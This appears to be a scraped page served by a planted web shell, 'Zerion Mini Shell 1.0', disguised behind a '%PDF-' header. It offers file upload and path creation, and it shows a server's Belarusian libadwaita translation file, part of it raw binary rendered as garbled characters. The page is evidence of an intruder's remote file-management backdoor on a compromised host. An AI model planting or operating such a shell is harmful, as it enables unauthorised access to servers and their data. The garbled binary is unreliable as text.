%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/be/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/be/LC_MESSAGES/libadwaita.mo

��S�qL &7?[a
v�����	�����	
1-5_*�.�*�.	3I	7}	1�	5�	


+
9
?
W
d

�

�
�

�
V�
%2>Upw��	�
����\�n
5
C
S
k
$�

�

�
�
�
�

�

!*1BN]p�
��5����)
-8'V~�
����
/D)Y���>�UWYn�W nxn��Vl��I�'�1N<n�(��$&*�Q.�0#T.g:�
���
0>\Ax����g��)�<&9cN�%�0"Sg w�*�� �+B \"}*���P@)4 SIJ?,;7.AF6'#
(
OBH%GN9->5=QC2":K$R8<!&3*EM	1LD/+0%u Tab%u TabsAboutAcknowledgementsAdwaitaApache License, Version 2.0ApplyArtistic License 2.0Artwork byBSD 2-Clause LicenseBSD 3-Clause LicenseBackCaps Lock is onCloseClose TabCode byCopied to clipboardCreditsDebugging InformationDesign byDetailsDocumentation byGNU Affero General Public License, version 3 onlyGNU Affero General Public License, version 3 or laterGNU General Public License, version 2 onlyGNU General Public License, version 2 or laterGNU General Public License, version 3 onlyGNU General Public License, version 3 or laterGNU Lesser General Public License, version 2.1 onlyGNU Lesser General Public License, version 2.1 or laterGNU Lesser General Public License, version 3 onlyGNU Lesser General Public License, version 3 or laterHide PasswordHigh ContrastLegalLine: %d, character: %dMore OptionsMozilla Public License 2.0New _TabNo Open TabsNo PreferenceNo Results FoundNo Tabs FoundOverride settings for this application. They will be reset upon closing the inspector.Prefer DarkPrefer LightPreferencesPreferred Color SchemeSave debugging informationSearchSearch TabsSearch preferencesSearch tabsSearch…Show PasswordSystem AppearanceSystem Supports Color SchemesThe MIT License (MIT)This ApplicationThis application comes with absolutely no warranty. See the <a href="%s">%s</a> for details.To assist in troubleshooting, you can view your debugging information. Providing this information to the application developers can help diagnose any problems you encounter when you report an issue.Translated byTroubleshootingTry a different search.Unable to parse release notes:Unable to save debugging informationUntitled pageVersion %sView Open TabsWhat’s New_Acknowledgements_Copy Text_Credits_Debugging Information_Details_Legal_Report an Issue_Save as…_Show Password_Support Questions_Troubleshooting_Website_What’s NewProject-Id-Version: libadwaita libadwaita-1-2
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/libadwaita/issues
PO-Revision-Date: 2023-07-29 17:27+0300
Last-Translator: Yuras Shumovich <shumovichy@gmail.com>
Language-Team: Belarusian <i18n-bel-gnome@googlegroups.com>
Language: be
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);
X-Generator: Poedit 3.3.2
%u укладка%u укладкі%u укладакАб праграмеПадзякіAdwaitaЛіцэнзія Apache, версія 2.0УжыцьЛіцэнзія Artistic 2.0Мастацкае афармленнеЛіцэнзія BSD 2-ClauseЛіцэнзія BSD 3-ClauseНазадCaps Lock уключаныЗакрыцьЗакрыць укладкуКодСкапіявана ў буфер абменуУдзельнікіАдладачная інфармацыяДызайнПадрабязнасціДакументацыяGNU Affero General Public License, толькі версія 3GNU Affero General Public License версіі 3 або любой пазнейшайАгульная Грамадская Ліцэнзія GNU, толькі версія 2Агульная Грамадская Ліцэнзія GNU версіі 2 або любой пазнейшайАгульная Грамадская Ліцэнзія GNU, толькі версія 3Агульная Грамадская Ліцэнзія GNU
версіі 3 або любой пазнейшайСпрошчаная Агульная Грамадская Ліцэнзія GNU, толькі версія 2.1Спрошчаная Агульная Грамадская Ліцэнзія GNU версіі 2.1 або любой пазнейшайСпрошчаная Агульная Грамадская Ліцэнзія GNU, толькі версія 3Спрошчаная Агульная Грамадская Ліцэнзія GNU версіі 3 або любой пазнейшайСхаваць парольВысокая кантраснасцьПрававыя звесткіРадок: %d, знак: %dБольш параметраўПублічная ліцэнзія Mozilla версіі 2.0_Новая ўкладкаНяма адкрытых укладакБез перавагНічога не знойдзенаУкладкі не знойдзеныПеравызначэнне налад для гэтай праграмы. Пры закрыцці інспектара налады будуць скінуты.Аддаваць перавагу цёмнайАддаваць перавагу светлайПараметрыПераважная схема колераўЗахаваць адладачную інфармацыюПошукПошук укладакПараметры пошукуПошук укладакПошук…Паказаць парольВыгляд сістэмыСістэма падтрымлівае схемы колераўЛіцэнзія MITПраграмаПраграма распаўсюджваецца без аніякіх гарантый. Падрабязнасці глядзіце тут: <a href="%s">%s</a>.Вы можаце праглядзець адладачную інфармацыю, каб дапамагчы з выпраўленнем непаладак. Перадача гэтай інфармацыі распрацоўшчыкам праграмы, можа дапамагчы выявіць праблемы, з якімі вы сутыкнуліся.ПеракладВыпраўленне непаладакПаспрабуйце іншы пошукавы запыт.Не ўдалося разабраць спіс змен:Не ўдалося захаваць адладачную інфармацыюНеназваная старонкаВерсія %sПаказаць адкрытыя ўкладкіШто новага_Падзякі_Капіраваць тэкст_Удзельнікі_Адладачная інфармацыя_ПадрабязнасціПрававыя _звесткіПаведаміць аб _праблемеЗахаваць _як…_Паказваць парольП_ытанні падтрымкі_Выпраўленне непаладак_Вэб-сайт_Што новага

Zerion Mini Shell 1.0